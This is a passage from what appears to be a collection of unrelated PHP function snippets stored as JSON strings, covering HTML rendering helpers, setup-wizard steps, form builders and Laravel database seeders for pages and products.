implode(', ', $statuses)) : '';\n $html .= '</p>';\n\n $html .= '<p class=\"steps\">';\n $html .= $this->translator->transChoice(\n '{0} No steps|{1} 1 step|]1,Inf] %1% steps'\n , $statistics->getStepsCount()\n , array('%1%' => $statistics->getStepsCount())\n );\n $statuses = array();\n foreach ($statistics->getStepsStatuses() as $status => $count) {\n if ($count) {\n $statuses[] = $this->translator->transChoice(\n \"[1,Inf] %1% $status\"\n , $count\n , array('%1%' => $count)\n );\n }\n }\n $html .= count($statuses) ? ' ' . sprintf('(%s)', implode(', ', $statuses)) : '';\n $html .= '</p>';\n $html .= '</div>';\n\n $html = strtr($this->getHTMLTemplate(), array('{{ body }}' => $html . $this->html));\n $event = new Event($this, 'behat.output.write', array('string' => $html, 'newline' => false));\n $this->dispatcher->notify($event);\n }", "public function shouldRenderWizard() {}", "protected function start_section_list() {\n\n $html = html_writer::start_tag('div', array('id' => 'turforlag_wrapper'));\n $html .= html_writer::start_tag('div', array('id' => 'tabs', 'class' => 'turforlag'));\n return $html;\n }", "public function exportHtml()\n {\n $html = '<table>\n <tr>\n <td>Name</td>\n <td>Description</td>\n <td>Image url</td>\n </tr>';\n\n foreach ($this->items as $item) {\n $html .= \"<tr>\n <td>{$item['name']}</td>\n <td>{$item['description']}</td>\n <td>{$item['image']}</td>\n </tr>\";\n }\n\n $html .= '</table>';\n\n $time = time();\n $filePath = ROOT_DIR . \"/data/beer_$time.html\";\n\n try {\n file_put_contents($filePath, $html);\n\n App::cliLog(\"Successfully exported to $filePath\");\n } catch (Exception $e) {\n App::cliLog($e->getMessage());\n }\n }", "function getHtmlStep3View()\r\n\t{\r\n\t\treturn '';\r\n\t}", "function dump_steps($steps) {\n $str = '';\n foreach ($steps as $step) {\n if ($step['action'] == 'create_slice') {\n $str .= \" action = create_slice\\n\";\n } else {\n $str .= sprintf(\" action = %s, id = %s\\n\", $step['action'], $step['id']);\n }\n }\n return $str;\n }", "protected function generateHtml() : string\n {\n $output = '<html><head><script src=\"sorttable.js\" type=\"text/javascript\"></script></head><body>';\n\n $output .= $this->generateReportFrontPage();\n\n $output .= $this->generateHtmlBody();\n\n $output .= $this->generateHtmlFooter();\n\n $output .= '</body></html>';\n\n return $output;\n }", "public function setstepAction(){\n\n $this->view->getdata = $this->Request;\n\n\t $this->view->steplistdata = $this->ModelObj->steplist();\n\n\t $this->view->steps = $this->ModelObj->showsteps();\n\n }", "public function index()\n {\n return view('setting::install/step_1');\n }", "public function render(): void {\r\n $pages = MJKGTAPI::pages();\r\n $wp_cron = get_option('cron');\r\n\r\n $this->render_css();\r\n\r\n printf('<div class=\"wrap\">');\r\n $this->output_intro();\r\n printf('<div id=\"%s\">', self::id_main);\r\n $this->output_sections($pages, $wp_cron);\r\n printf('</div></div>');\r\n }", "function renderForm( $step ) {\n\t\t$langObj = t3lib_div::makeInstance('tx_golanguage');\n\n\t\t// load template and substitute the markers\n\t\t$this->prepareTemplate( $step );\n\n\t\t$this->addMarker('HEADER', $this->cObj->cObjGetSingle($GLOBALS['TSFE']->tmpl->setup['lib.']['stdheader'], $GLOBALS['TSFE']->tmpl->setup['lib.']['stdheader.']));\n\t\t$this->addMarker('FORM_LOGIC_FIELDS', $this->createHiddenField('submitted', 1) . $this->createHiddenField('step', $step) . $this->createHiddenField('uid', $this->data['uid']));\n\t\t$this->addMarker('PROTOCOL', t3lib_div::getIndpEnv('TYPO3_SSL') ? 'https' : 'http');\n\t\t$this->addMarker('LANG', $langObj->getLanguageIso($GLOBALS['TSFE']->sys_language_uid));\n\t\t\t// hide captcha if already verified, or if spam protection has been disabled\n\t\t$this->addMarker('SPAMPROTECT', ($this->conf['useSpamProtection'] && !$this->captchaVerified()) ? $this->parseTemplate('CAPTCHA_TEMPLATE') : '');\n\t\tif ( !$this->newsletterRegEnabled ) {\n\t\t\t$this->addSMarker('NEWSLETTER', '');\n\t\t}\n\n\t\tif ( method_exists($this, $methodName = 'renderStep' . $step) ) {\n\t\t\tcall_user_func( array(&$this, $methodName) );\n\t\t}\n\t\treturn $this->parseTemplate($this->subpartName);\n\t}", "function getHTML()\n\t{\t\t\t\t\n\t\t// getHTML() is called by ilRepositoryGUI::show()\n\t\tif($this->id_type == self::REPOSITORY_NODE_ID)\n\t\t{\n\t\t\treturn;\n\t\t}\n\t\t\n\t\t// there is no way to do a permissions check here, we have no wsp\n\t\t\n\t\t$this->filterInactivePostings();\n\t\t\n\t\t$list_items = $this->getListItems();\t\t\n\t\t\n\t\t$list = $nav = \"\";\n\t\tif($list_items)\n\t\t{\t\t\t\t\n\t\t\t$list = $this->renderList($list_items, \"previewEmbedded\");\n\t\t\t$nav = $this->renderNavigation($this->items, \"gethtml\", \"previewEmbedded\");\n\t\t}\t\t\n\t\t\n\t\treturn $this->buildEmbedded($list, $nav);\t\t\n\t}", "public function generate_screen() {\n\t\t\t$bootstrap = new HTMLWriter();\n\t\t\t$content = '';\n\t\t\t$columns = array_keys($this->json['columns']);\n\t\t\t$count = 0; \n\t\t\t$array = array(); \n\t\t\tforeach ($this->json['columns'] as $column) {\n\t\t\t\tif ($column['sortavailable'] == 'n') { $array[] = $count; }\n\t\t\t\t$count++;\n\t\t\t}\n\t\t\t\n\t\t\t$tb = new Table(\"class=table table-striped table-bordered table-condensed table-excel|id=table\");\n\t\t\t$tb->tablesection('thead');\n\t\t\t\t$tb->tr();\n\t\t\t\tforeach($this->json['columns'] as $column) {\n\t\t\t\t\t$class = DplusWire::wire('config')->textjustify[$column['headingjustify']];\n\t\t\t\t\t$tb->th(\"class=$class\", $column['heading']);\n\t\t\t\t}\n\t\t\t$tb->closetablesection('thead');\n\t\t\t$tb->tablesection('tbody');\n\t\t\t\tforeach ($this->json['data']['lots'] as $lot) {\n\t\t\t\t\t$tb->tr();\n\t\t\t\t\tforeach($columns as $column) {\n\t\t\t\t\t\t$class = DplusWire::wire('config')->textjustify[$this->json['columns'][$column]['datajustify']];\n\t\t\t\t\t\t$tb->td(\"class=$class\", $lot[$column]);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t$tb->closetablesection('tbody');\n\t\t\t$content = $tb->close();\n\t\t\treturn $content;\n\t\t}", "public function html()\n {\n return $this->builder()\n ->columns($this->getColumns())\n ->minifiedAjax()\n ->addAction([\n 'width' => '12%',\n 'printable' => false,\n 'exportable' => false,\n 'searchable' => false\n ])\n ->paging(true)\n ->lengthMenu([[50, 100,500, -1], [50, 100,500, 'All']])\n ->scrollX(true)\n ->parameters($this->getBuilderParameters());\n }", "public function renderAfterScenario($obj)\n {\n $print = '\n </ol>\n </div>';\n\n return $print;\n }", "public function run()\n {\n Page::create([\n 'title' => 'Front Page',\n 'content' => '\n <p>Platanus is an established hotel in Barrio Barretto that offers leisure and recreation\n within the hustle of Barretto, Olongapo City. Only 10 minutes away from the bars and\n restaurants that offer a broad selection of diverse cuisines from all over the world. </p>\n\n <p>The hotel ensures guests comfort and gives them the quality service. With 9 spacious air-conditioned rooms,\n among the amenities offered are complimentary Wi-Fi access, non-smoking rooms, cable TV, air-conditioned rooms,\n private bathroom with hot and cold water, some rooms have access to a balcony.</p>\n\n <p>Take a breather in the hotel\\'s incredible facilities like an outdoor swimming pool, fitness center, massage, and garden area where you can sit back and laze.</p>\n <p>Hotel Platanus is an excellent choice for quality accommodation in Barretto for daily and long term stay.</p>',\n ]);\n\n Page::create([\n 'title' => 'Side Description',\n 'content' => '<p>Set in Clark, 32 km from Mount Pinatubo, Platanus Hotel features an outdoor swimming pool.\n Featuring a restaurant, the property also has a garden. The property offers a 24-hour front desk. </p>',\n ]);\n }", "public function html(){\n\n $all = [];\n $all['id'] = $this->id;\n $all['item'] = $this;\n $all['fields'] = $this->getFields();\n\n foreach ($this->getParams() as $key => $value) {\n $all['p_' . $key] = $value;\n }\n\n return view('components.' . $this->component->name . '.print' , $all)->render();\n }", "public function generate_steps($cookie = '_sf_tooltips') {\n\t\t\t\n\t\t\t//// LETS START BY SETTING OUR JAVASCRIPT VARIABLES ?>\n \n \n <script type=\"text/javascript\">\n\t\t\t\n\t\t\t\tjQuery(document).ready(function() {\n\t\t\t\t\t\n\t\t\t\t\t/// OUR TOOLTIP ARRAY\n\t\t\t\t\t_sf_tooltips = new Array();\n\t\t\t\t\t\n\t\t\t\t\t<?php foreach($this->steps as $_step) :\n\t\t\t\t\t\n\t\t\t\t\t\t if($_step->container == NULL) { $container = $_step->field_id; }\n\t\t\t\t\t\t else { $container = $_step->container; }\n\t\t\t\t\t\t \n\t\t\t\t\t\t if($_step->align == NULL) { $align = 'left'; }\n\t\t\t\t\t\t else { $align = $_step->align; }\n\t\t\t\t\t?>\n\t\t\t\t\t\n\t\t\t\t\t\tvar _step_<?php echo $_step->field_id ?> = {\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\ttitle:\t\t\t\t<?php echo json_encode($_step->step_title); ?>,\n\t\t\t\t\t\t\tdescription:\t\t<?php echo json_encode($_step->step_description); ?>,\n\t\t\t\t\t\t\tcontainer:\t\t\t<?php echo json_encode($container); ?>,\n\t\t\t\t\t\t\talign:\t\t\t\t<?php echo json_encode($align); ?>,\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t_sf_tooltips.push(_step_<?php echo $_step->field_id ?>);\n\t\t\t\t\t\n\t\t\t\t\t<?php endforeach; ?>\n\t\t\t\t\t\n\t\t\t\t\t//// CALLS OUR FUNCTION TO DISPLAY THE TOOLTIPS\n\t\t\t\t\tjQuery('body')._sf_tooltips(_sf_tooltips, <?php echo json_encode(__('Next', 'btoa')) ?>, <?php echo json_encode(__('Skip Intro', 'btoa')) ?>, <?php echo json_encode(__('Previous', 'btoa')) ?>, '<?php echo $cookie ?>');\n\t\t\t\t\t\n\t\t\t\t});\n\t\t\t\n\t\t\t</script>\n \n\t\t\t\n\t\t<?php }", "public function display_code() {\n\t\techo '<h1>Premise Demo Page</h1>\n\t\t<div class=\"span10\">';\n\n\n\t\t\t// test a form with all possible fields.\n\t\t\t// pass your own arguments if you'd like.\n\t\t\t// new PWP_Demo_Form();\n\n\t\t\t// Premise_test::fields();\n\t\t\t// Premise_test::fields_hooks();\n\t\t\t// Premise_test::fields_demo();\n\t\t\t// Premise_test::videos_embed();\n\t\t\t// Premise_test::fields_duplicate();\n\t\t\t// Premise_test::google_map();\n\t\t\t// Premise_test::grids();\n\n\t\techo '</div>';\n\t}", "public function run()\n\t{\n\t\techo \"</ul>\";\n\t}", "public function run()\n {\n \\App\\Model\\TemplateLib::create([\n 'name' => 'FNK Test',\n 'stylesheet' => 'body {background:white};',\n 'javascript' => '',\n 'code_header' => $this->codeHeader,\n 'code_footer' => $this->codeFooter,\n 'code_index' => $this->codeIndex,\n 'code_search' => '<h1>saya di search</h1>',\n 'code_category' => '<h1>saya di category</h1>',\n 'code_page' => $this->codePage,\n 'code_post' => $this->codePost,\n 'code_about' => '<h1>saya di about</h1>',\n 'code_404' => '<h1>saya di 404</h1>',\n ]);\n }", "private function create_html_page()\n\t{\n\t\t$m_output_1 = $this->c_input_content[1];\n\t\t$m_output_2 = $this->c_input_content[2];\n\n\t\t$this->c_output_html = <<< HTML\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\"\n\t\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n<html xmlns = \"http://www.w3.org/1999/xhtml\">\n<head>\n\t<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />\n\t<title>$this->c_page_title</title>\n</head>\n<body>\n\t<h1>Testing the Person class</h1>\n\t<p>$m_output_1</p>\n\t<p>$m_output_2</p>\n</body>\n</html>\nHTML;\n\t}", "public function setup_wizard_content() {\n\t\t\tisset( $this->steps[ $this->step ] ) ? call_user_func( $this->steps[ $this->step ]['view'] ) : false;\n\t\t}", "public function asHtml()\n {\n $current = isset($this->options['request_parameters']['sfWebDebugPanel']) ? $this->options['request_parameters']['sfWebDebugPanel'] : null;\n\n $titles = array();\n $panels = array();\n foreach ($this->panels as $name => $panel)\n {\n if ($title = $panel->getTitle())\n {\n if (($content = $panel->getPanelContent()) || $panel->getTitleUrl())\n {\n $id = sprintf('sfWebDebug%sDetails', $name);\n $titles[] = sprintf('<li class=\"%s\"><a title=\"%s\" href=\"%s\"%s>%s</a></li>',\n $panel->getStatus() ? 'sfWebDebug'.ucfirst($this->getPriority($panel->getStatus())) : '',\n $panel->getPanelTitle(),\n $panel->getTitleUrl() ? $panel->getTitleUrl() : '#',\n $panel->getTitleUrl() ? '' : ' onclick=\"sfWebDebugShowDetailsFor(\\''.$id.'\\'); return false;\"',\n $title\n );\n $panels[] = sprintf('<div id=\"%s\" class=\"sfWebDebugTop\" style=\"display:%s\"><h1>%s</h1>%s</div>',\n $id,\n $name == $current ? 'block' : 'none',\n $panel->getPanelTitle(),\n $content\n );\n }\n else\n {\n $titles[] = sprintf('<li>%s</li>', $title);\n }\n }\n }\n\n return '\n <div id=\"sfWebDebug\">\n <div id=\"sfWebDebugBar\">\n <ul id=\"sfWebDebugDetails\" class=\"sfWebDebugMenu\">\n '.implode(\"\\n\", $titles).'\n </ul>\n </div>\n\n '.implode(\"\\n\", $panels).'\n </div>\n ';\n }", "private function printToolHead() {\n\t\t\t$this->page->openBlock('div', 'iw-content');\n\t\t\t$this->page->addInline('p', 'This tool generates reports about wikilinks in one article:');\n\t\t\t$this->page->openBlock('ul');\n\t\t\t$this->page->addInline('li', 'Links from given article which have no backlinks from target article');\n\t\t\t$this->page->addInline('li', 'Backlinks from other articles which have no links from given article');\n\t\t\t$this->page->addInline('li', 'Links from given article with backlinks from other articles');\n\t\t\t$this->page->closeBlock();\n\t\t\t$this->page->addInline('h2', 'Options');\n\t\t\t\n\t\t\t// options\n\t\t\t$optionForm = new HtmlForm('index.php', 'GET');\n\t\t\t$optionForm->addHTML('<table class=\"iw-nostyle\">');\n\t\t\t\n\t\t\t// lang/project\n\t\t\t$optionForm->addHTML('<tr><td>');\n\t\t\t$optionForm->addLabel('lang', 'Project');\n\t\t\t$optionForm->addHTML('</td><td>');\n\t\t\t$optionForm->addInput('lang', $this->par['lang'], '', 7, true);\n\t\t\t$optionForm->addHTML('&nbsp;.&nbsp;');\n\t\t\t$optionForm->addInput('project', $this->par['project'], '', 20, true);\n\t\t\t$optionForm->addHTML('&nbsp;.org</td></tr>');\n\t\t\t\n\t\t\t// page\n\t\t\t$optionForm->addHTML('<tr><td>');\n\t\t\t$optionForm->addLabel('page', 'Page title');\n\t\t\t$optionForm->addHTML('</td><td>');\n\t\t\t$optionForm->addInput('page', $this->par['page'], 'A page title in the main namespace (0)', 0, true);\n\t\t\t$optionForm->addHTML('</td></tr>');\n\t\t\t\n\t\t\t// submit button\n\t\t\t$optionForm->addHTML('<tr><td colspan=\"2\">');\n\t\t\t$optionForm->addButton('submit', 'View page conjunction');\n\t\t\t$optionForm->addHTML('</td></tr>');\n\t\t\t\n\t\t\t$optionForm->addHTML('</table>');\n\t\t\t$optionForm->output();\n\t\t\t\n\t\t\t$this->page->closeBlock();\n\t\t}", "private function printTaskPage() {\n\t\treadfile ( 'html/task.html' );\n\t}", "public function run()\n {\n Html::addCssClass($this->wrapperOptions, 'page-header');\n\n echo Html::beginTag(\"div\", $this->wrapperOptions);\n\n if (!empty($this->buttons)) {\n echo ButtonGroup::widget(\n [\n 'options' => $this->buttonGroupOptions,\n 'buttons' => $this->buttons,\n ]\n );\n }\n\n echo Html::tag(\"h1\", $this->title, $this->titleOptions);\n\n echo Html::endTag(\"div\");\n }", "public function index()\n {\n $datas = $this->_model->getTakes();\n $this->render('Take/index', ['datas' => $datas, 'title' => 'Page d\\'emprunt']);\n }", "public function testPage() {\n $build = [\n 'view_arg1' => [\n '#prefix' => '<div class=\"view-test-form-multiple-1\">',\n '#suffix' => '</div>',\n '#type' => 'view',\n '#name' => 'test_form_multiple',\n '#display_id' => 'default',\n '#arguments' => ['arg1'],\n '#embed' => TRUE,\n ],\n 'view_arg2' => [\n '#prefix' => '<div class=\"view-test-form-multiple-2\">',\n '#suffix' => '</div>',\n '#type' => 'view',\n '#name' => 'test_form_multiple',\n '#display_id' => 'default',\n '#arguments' => ['arg2'],\n '#embed' => TRUE,\n ],\n ];\n return $build;\n }", "protected function output() {\n\t\t\techo $this->before();\n\t\t\techo wponion_input_group_html( $this->data( 'prefix' ), $this->data( 'surfix' ), $this->element_html() );\n\t\t\techo $this->datalist();\n\t\t\techo $this->after();\n\t\t}", "private function setupPage ()\n {\n $output = '<!DOCTYPE html><html lang=\"en\"><head>';\n $output .= $this->setCharacterEncoding();\n $output .= $this->setPageTitle();\n $output .= $this->setBasePath();\n $output .= $this->registerResource('css', $this->cssResource);\n $output .= $this->registerResource('js', $this->jsResource);\n $output .= $this->fixHTML5();\n $output .= '</head><body>';\n echo $output;\n }", "public function getHTML() {\t\n\t\t$html = '';\n\t\tif ($this->type != 'title') $html.= '<p>'.\"\\n\";\n\t\tif ($this->type != 'info' && $this->type != 'system' && $this->type != 'title') \n\t\t\t{\t\t\t\n\t\t\t$html.= '<label id=\"label_for_'. $this->name . '\" name=\"label_for_'. $this->name . '\" for=\"'. $this->name . '\">';\n\t\t\t// special check for files item\n\t\t\tif ($this->type == 'file')\n\t\t\t\t{\n\t\t\t\tif (file_exists($_SERVER['DOCUMENT_ROOT'].'/uploads/' . $this->name))\n\t\t\t\t\t{\n\t\t\t\t\t$html.= '<a href = \"/uploads/'. $this->name .'\">'.$this->label.'</a> \n\t\t\t\t\t\t(<a href=\"javascript:void Messi.ask(\\''.DELETE.' ' .$this->name.' ?\\', \n\t\t\t\t\t\tfunction(val) { if(val==\\'Y\\') formSubmit(\\'delete\\',\\'' . $this->name . '\\');});\">'.DELETE.'</a>)';\n\t\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t$html.= $this->label.' ('.NONE.')';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\telse\n\t\t\t\t{\n\t\t\t\t$html.= $this->label;\n\t\t\t\t}\n\t\t\t$html.= '</label>'.\"\\n\";\n\t\t\t}\n\t\t// add dependence of the item for js managing in user interface\n\t\tif ($this->depend != 'none' or $this->depend != '') {\n\t\t\t$html.= '<input type=\"hidden\" id=\"dependance_for_'. $this->name . '\" value=\"'. $this->depend . '\" />'.\"\\n\";\n\t\t}\t\n\t\t$html.= '<input type=\"hidden\" id=\"title_for_'. $this->name . '\" value=\"'. $this->title . '\" />'.\"\\n\";\n\t\tswitch ($this->type)\n\t\t\t{\n\t\t\tcase 'text' : \n\t\t\t\t$html.= '<input id=\"'. $this->name . '\" name=\"'. $this->name . '\" value=\"'. $this->value . '\" \n\t\t\t\t\tonchange=\"display_dependance();\" />'.\"\\n\";\n\t\t\t\tbreak;\n\n\t\t\tcase 'password' : \n\t\t\t\t$html.= '<input type=\"password\" id=\"'. $this->name . '\" name=\"'. $this->name . '\" value=\"'. $this->value . '\" \n\t\t\t\t\tonchange=\"display_dependance();\" />'.\"\\n\";\n\t\t\t\tbreak;\n\n\t\t\tcase 'checkbox' : \n\t\t\t\t$html.= '<input type=\"checkbox\" id=\"'. $this->name . '\" name=\"'. $this->name . '\"' . ( ($this->value == 'on') ? \" \n\t\t\t\t\tchecked \" : \"\") . ' onchange=\"display_dependance();\" />'.\"\\n\";\n\t\t\t\tbreak;\n\n\t\t\tcase 'file' : \n\t\t\t\t$html.= '<input type=\"file\" id=\"'. $this->name . '\" name=\"'. $this->name . '\" value=\"'. $this->value . '\" />'.\"\\n\";\n\t\t\t\tbreak;\n\n\t\t\tcase 'select' :\n\t\t\t\t$html.= '<select id=\"'. $this->name . '\" name=\"'. $this->name . '\" onchange=\"display_dependance();\" >'.\"\\n\";\n\t\t\t\t$valuesPossible = explode(',',$this->values);\n\t\t\t\tforeach ($valuesPossible as $valuePossible){\n\t\t\t\t\t$html.= '<option value=\"'. $valuePossible . '\" ' . (($valuePossible == $this->value) ? \" selected \" : \"\") . '>'.\n\t\t\t\t\t(($valuePossible == \"none\") ? NONE : $valuePossible) . '</option>'.\"\\n\";\n\t\t\t\t\t}\n\t\t\t\t$html.= '</select><div style=\"clear:both\"></div>'.\"\\n\";\n\t\t\t\tbreak; \n\n\t\t\tcase 'title' : \n\t\t\t\t$html.= \"\\n\". '<h2>'.$this->label.'</h2><hr />'.\"\\n\\n\";\t\t\t\n\t\t\t\tbreak;\n\n\t\t\t// system action items\n\t\t\tcase 'system' : \n\t\t\t\t// a system item will render a button that submit the form with the configured action name in the config-map.php\n\t\t\t\t$html.= '<label></label><input class=\"button\" type=\"button\" id=\"'. $this->name . '\" name=\"'. $this->name . '\" value=\"'.$this->label.'\" \n\t\t\t\tonclick=\"new Messi(\\''.addslashes($this->help).'\\', {\n\t\t\t\t\ttitle: \\''.addslashes($this->label).'?\\', \n\t\t\t\t\tmodal: true, buttons: [{id: 0, label: \\''.YES.'\\', val: \\'Y\\'}, {id: 1, label: \\''.NO.'\\', val: \\'N\\'}], \n\t\t\t\t\tcallback: function(val) { if(val==\\'Y\\') {openTerminal();formSubmit(\\''.$this->values.'\\');}}});\" />';\n\t\t\t\tbreak;\n\n\t\t\tcase 'html' : \n\t\t\t\t// this is only arbitrary html code to display\n\t\t\t\t$html.= $this->value;\t\t\t\n\t\t\t\tbreak;\n\n\t\t\t/**\n\t\t\t * HERE YOU CAN ADD THE TYPE RENDERER YOU NEED\n\t\t\t *\n\t\t\t * case 'YOUR_TYPE' : \n\t\t\t *\t$html.= 'ANY_HTML_CODE_TO_RENDER';\n\t\t\t *\tbreak;\n\t\t\t */\n\n\t\t\tdefault : \n\t\t\t\t$html.= '<b>'.NO_METHOD_TO_RENDER_THIS_ITEM .'</b><br />Item : '.$this->name. '<br />Type : '.$this->type. '<br />'.\"\\n\"; \n\t\t\t\tbreak;\n\t\t\t\n\t\t\t}\n\t\tif ($this->type != 'title') $html.= '</p>'.\"\\n\"; \t\t\n\t\treturn $html;\n\t}", "public function run()\n {\n StaticPage::create([\n \"label\" => StaticPageLabels::TERMS,\n 'en' => ['title' => 'Terms & Conditions', \"content\" => \"Content of the page is right here.\"],\n 'ar' => ['title' => 'الشروط والأحكام', \"content\" => \"محتوى صفحة الشروط هنا بالظبط.\"],\n ]);\n\n StaticPage::create([\n \"label\" => StaticPageLabels::PRIVACY,\n 'en' => ['title' => 'Privacy Policy', \"content\" => \"Content of the page is right here.\"],\n 'ar' => ['title' => 'سياسة الخصوصية', \"content\" => \"محتوى صفحة الخصوصية هنا بالظبط.\"],\n ]);\n\n }", "private function setupPage ()\n {\n $output = '<!DOCTYPE html><html lang=\"en\"><head>';\n $output .= $this->setCharacterEncoding();\n $output .= $this->setPageTitle();\n $output .= $this->setBasePath();\n $output .= $this->fixHTML5();\n $output .= $this->registerCustomResources();\n $output .= '</head><body>';\n echo $output;\n }", "public function run()\n { \n $description = '<div class=\"row\">\n <div class=\"col-md-6\">\n <h3 class=\"h6\">Details</h3>\n <p class=\"mb-4 pb-2\">ZRXOm7siAO</p>\n <h3 class=\"h6\">Features</h3>\n <ul class=\"list-icon mb-4 pb-2\">\n <li><i class=\"fe-icon-check text-success\"></i>Capture 4K30 Video and 12MP Photos</li>\n <li><i class=\"fe-icon-check text-success\"></i>Game-Style Controller with Touchscreen</li>\n <li><i class=\"fe-icon-check text-success\"></i>View Live Camera Feed</li>\n <li><i class=\"fe-icon-check text-success\"></i>Full Control of HERO6 Black</li>\n <li><i class=\"fe-icon-check text-success\"></i>Use App for Dedicated Camera Operation</li>\n </ul>\n </div>\n <div class=\"col-md-6\">\n <h3 class=\"h6\">Specifications</h3>\n <ul class=\"list-unstyled mb-4 pb-2\">\n <li><strong>Weight:</strong> 35.5oz (1006g)</li>\n <li><strong>Maximum Speed:</strong> 35 mph (15 m/s)</li>\n <li><strong>Maximum Distance:</strong> Up to 9,840ft (3,000m)</li>\n <li><strong>Operating Frequency:</strong> 2.4GHz</li>\n <li><strong>Manufacturer:</strong> GoPro, USA</li>\n </ul>\n <h3 class=\"h6\">Shipping Options:</h3>\n <ul class=\"list-unstyled mb-4 pb-2\">\n <li><strong>Courier:</strong> 2 - 4 days, $22.50</li>\n <li><strong>Local Shipping:</strong> up to one week, $10.00</li>\n <li><strong>UPS Ground Shipping:</strong> 4 - 6 days, $18.00</li>\n <li><strong>Unishop Global Export:</strong> 3 - 4 days, $25.00</li>\n </ul>\n </div>\n </div>';\n\n $short_description = 'Lorem ipsum dolor sit amet, consectetur adipisicing elit. Dicta voluptatibus quos ea dolore rem, molestias laudantium et explicabo...';\n\n\n Product::create([\n 'category_id' => 2,\n 'brand_id' => 3,\n 'title' => 'Tarjeta SD 16GB',\n 'short_description' => $short_description,\n 'large_description' => $description,\n 'amount' => rand(1, 999),\n 'unit' => rand(0, 5),\n 'slug' => 'tarjeta-sd-16gb',\n 'slot_image_1' => 'tarjeta-sd16.jpg'\n ]);\n\n Product::create([\n 'category_id' => 4,\n 'brand_id' => 2,\n 'title' => 'Mause USB para computadora',\n 'short_description' => $short_description,\n 'large_description' => $description,\n 'amount' => rand(1, 999),\n 'unit' => rand(0, 5),\n 'slug' => 'mause-usb',\n 'slot_image_1' => 'mause-usb.jpg'\n ]);\n\n Product::create([\n 'category_id' => 3,\n 'brand_id' => rand(1, 6),\n 'title' => 'Cables USB para Telefonos',\n 'short_description' => $short_description,\n 'large_description' => $description,\n 'amount' => rand(1, 999),\n 'unit' => rand(0, 5),\n 'slug' => 'cable-usb-telefono',\n 'slot_image_1' => 'cable-usb.jpg'\n ]);\n\n Product::create([\n 'category_id' => 1,\n 'brand_id' => rand(1, 6),\n 'title' => 'Audifonos Bluetooth Gamer',\n 'short_description' => $short_description,\n 'large_description' => $description,\n 'amount' => rand(1, 999),\n 'unit' => rand(0, 5),\n 'slug' => 'audifono-bluetooth',\n 'slot_image_1' => 'audifono-bluetooth.jpg'\n ]);\n\n Product::create([\n 'category_id' => 3,\n 'brand_id' => rand(1, 6),\n 'title' => 'Cable Plugs de Audio para Audifonos',\n 'short_description' => $short_description,\n 'large_description' => $description,\n 'amount' => rand(1, 999),\n 'unit' => rand(0, 5),\n 'slug' => 'cable-plug-audio',\n 'slot_image_1' => 'cable-plugs.jpg'\n ]);\n\n Product::create([\n 'category_id' => 1,\n 'brand_id' => rand(1, 6),\n 'title' => 'Audifonos Manos Libre Inalambrico',\n 'short_description' => $short_description,\n 'large_description' => $description,\n 'amount' => rand(1, 999),\n 'unit' => rand(0, 5),\n 'slug' => 'audifono-manos-libres',\n 'slot_image_1' => 'audifonos-manos-libres.jpg'\n ]);\n\n Product::create([\n 'category_id' => 3,\n 'brand_id' => rand(1, 6),\n 'title' => 'Cable VGA para Monitores',\n 'short_description' => $short_description,\n 'large_description' => $description,\n 'amount' => rand(1, 999),\n 'unit' => rand(0, 5),\n 'slug' => 'cable-vga',\n 'slot_image_1' => 'cable-vga.jpg'\n ]);\n\n Product::create([\n 'category_id' => 4,\n 'brand_id' => rand(1, 6),\n 'title' => 'Teclado USB Gamer para Computadoras',\n 'short_description' => $short_description,\n 'large_description' => $description,\n 'amount' => rand(1, 999),\n 'unit' => rand(0, 5),\n 'slug' => 'teclado-usb',\n 'slot_image_1' => 'teclado-gamer.jpg'\n ]);\n\n Product::create([\n 'category_id' => 2,\n 'brand_id' => rand(1, 6),\n 'title' => 'Adaptador USB para Tarjeta SD',\n 'short_description' => $short_description,\n 'large_description' => $description,\n 'amount' => rand(1, 999),\n 'unit' => rand(0, 5),\n 'slug' => 'adaptador-usb',\n 'slot_image_1' => 'adaptador-micro-usb.jpg'\n ]);\n\n Product::create([\n 'category_id' => 5,\n 'brand_id' => rand(1, 6),\n 'title' => 'Regleta de 5 Metros',\n 'short_description' => $short_description,\n 'large_description' => $description,\n 'amount' => rand(1, 999),\n 'unit' => rand(0, 5),\n 'slug' => 'regleta-5-metros',\n 'slot_image_1' => 'regleta.jpg'\n ]);\n\n Product::create([\n 'category_id' => 2,\n 'brand_id' => rand(1, 6),\n 'title' => 'Pendrive USB y para Telefono',\n 'short_description' => $short_description,\n 'large_description' => $description,\n 'amount' => rand(1, 999),\n 'unit' => rand(0, 5),\n 'slug' => 'pendrive-telefono',\n 'slot_image_1' => 'pendrive-telefono.jpg'\n ]);\n\n Product::create([\n 'category_id' => 3,\n 'brand_id' => rand(1, 6),\n 'title' => 'Hubs USB de 6 Conexiones',\n 'short_description' => $short_description,\n 'large_description' => $description,\n 'amount' => rand(1, 999),\n 'unit' => rand(0, 5),\n 'slug' => 'hobs-6-conexione',\n 'slot_image_1' => 'hubs.jpg'\n ]);\n\n Product::create([\n 'category_id' => 4,\n 'brand_id' => rand(1, 6),\n 'title' => 'Pack Mouse y Teclado Gamers',\n 'short_description' => $short_description,\n 'large_description' => $description,\n 'amount' => rand(1, 999),\n 'unit' => rand(0, 5),\n 'slug' => 'pack-mouse-teclado-gamers',\n 'slot_image_1' => 'mouse-teclado.jpg'\n ]);\n\n Product::create([\n 'category_id' => 5,\n 'brand_id' => rand(1, 6),\n 'title' => 'Cornetas para Computadoras',\n 'short_description' => $short_description,\n 'large_description' => $description,\n 'amount' => rand(1, 999),\n 'unit' => rand(0, 5),\n 'slug' => 'cornetas-computadora',\n 'slot_image_1' => 'Cornetas-Computadora.jpg'\n ]);\n\n Product::create([\n 'category_id' => 1,\n 'brand_id' => 1,\n 'title' => 'Audifonos Samsumg Buds',\n 'short_description' => $short_description,\n 'large_description' => $description,\n 'amount' => rand(1, 999),\n 'unit' => rand(0, 5),\n 'slug' => 'audifonos-samsumg-buds',\n 'slot_image_1' => 'buds-samsumg.jpg'\n ]);\n\n Product::create([\n 'category_id' => 5,\n 'brand_id' => rand(1, 6),\n 